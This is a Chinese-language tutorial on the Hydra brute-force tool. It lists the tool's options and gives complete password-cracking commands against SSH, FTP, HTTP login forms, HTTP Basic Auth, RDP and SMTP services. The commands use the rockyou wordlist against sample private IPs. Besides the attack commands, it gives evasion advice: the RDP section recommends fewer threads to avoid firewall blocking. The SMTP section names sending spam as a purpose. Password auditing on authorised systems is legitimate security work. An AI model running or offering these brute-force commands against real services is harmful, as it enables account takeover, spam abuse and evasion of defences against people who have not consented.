口令破解

hydra是一种自动化的支持众多协议的爆破工具,暴力破解密码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
参数:
-s <port> 指定非默认端口,如 SSH 默认 22,可自定义 -s 2222
-l login 小写,指定用户名进行破解
-L file 大写,指定用户的用户名字典
-p pass 小写,用于指定密码破解,很少使用,一般采用密码字典。
-P file 大写,用于指定密码字典。
-e ns 额外的选项,n:空密码试探,s:使用指定账户和密码试探
-M file 指定目标ip列表文件,批量破解。
-o file 指定结果输出文件
-f 找到第一对登录名或者密码的时候中止破解。
-t tasks 同时运行的线程数,默认是16
-w time 设置最大超时时间,单位
-v / -V 显示详细过程
-R 恢复爆破(如果破解中断了,下次执行 hydra -R /path/to/hydra.restore 就可以继续任务。)
-x 自定义密码。

SSH口令爆破

场景:测试目标 SSH 服务(默认端口 22)的密码强度。
语法hydra -l <用户> -P <密码字典> -t <线程> -vV -o ssh_result.txt <目标IP> ssh

示例:使用用户 root、密码字典 rockyou.txt 破解 192.168.1.100 的 SSH:

1
hydra -l root -P /usr/share/wordlists/rockyou.txt -t 20 -vV -o ssh_success.txt 192.168.1.100 ssh

FTP 协议破解

场景:测试 FTP 服务(默认端口 21)的登录凭证。
语法hydra -L <用户字典> -P <密码字典> -t <线程> -vV <目标IP> ftp

示例:使用用户字典 users.txt 和密码字典 rockyou.txt 破解 FTP:

1
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt -t 15 -vV 192.168.1.101 ftp

HTTP 表单破解(POST 方法)

场景:破解基于 POST 请求的 Web 登录表单(如网站后台登录)。
关键步骤:需先通过 Burp SuiteChrome 开发者工具 获取表单提交的 POST 数据成功/失败标识

步骤 1:分析登录请求

假设目标登录页面为 http://192.168.1.102/login.php,通过 Chrome 开发者工具(F12)捕获登录请求:

  • 请求方法:POST
  • 提交数据username=test&password=123&submit=Login(需将用户名/密码替换为占位符 ^USER^^PASS^
  • 成功标识:登录成功后跳转至 /dashboard.php(或响应中包含 “Welcome”)
  • 失败标识:登录失败时显示 “Invalid username or password”

步骤 2:构造 Hydra 命令

语法
hydra -l <用户> -P <密码字典> -t <线程> -vV -o http_result.txt <目标IP> http-post-form "<登录路径>:<POST数据>:<失败标识>"

示例:破解上述登录表单:

1
hydra -l admin -P /usr/share/wordlists/rockyou.txt -t 10 -vV -o http_success.txt 192.168.1.102 http-post-form "/login.php:username=^USER^&password=^PASS^&submit=Login:Invalid username or password"

参数说明

  • /login.php:登录表单路径
  • username=^USER^&password=^PASS^&submit=Login:POST 数据(^USER^^PASS^ 为 Hydra 占位符)
  • Invalid username or password:失败标识(Hydra 会判断响应中是否包含该字符串,若不包含则认为登录成功)

HTTP 基础认证(Basic Auth)破解

场景:破解采用 HTTP Basic Auth 的服务(如路由器管理界面、简单 Web 服务)。
语法hydra -l <用户> -P <密码字典> -t <线程> -vV <目标IP> http-get /

示例:破解目标 192.168.1.1 的 Basic Auth:

1
hydra -l admin -P /usr/share/wordlists/rockyou.txt -t 5 -vV 192.168.1.1 http-get /

RDP 协议破解

场景:测试 Windows 远程桌面服务(RDP,默认端口 3389)。
注意:RDP 协议对并发连接敏感,建议降低线程数(5-10)以避免被目标防火墙拦截。

语法hydra -L <用户字典> -P <密码字典> -t <线程> -vV -o rdp_result.txt <目标IP> rdp -s 3389

示例

1
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt -t 5 -vV -o rdp_success.txt 192.168.1.103 rdp -s 3389

SMTP 协议破解

场景:测试邮件服务器(SMTP,默认端口 25)的登录凭证(用于发送垃圾邮件或枚举用户)。
语法hydra -l <用户> -P <密码字典> -t <线程> -vV <目标IP> smtp

示例

1
hydra -l user@example.com -P /usr/share/wordlists/rockyou.txt -t 10 -vV 192.168.1.104 smtp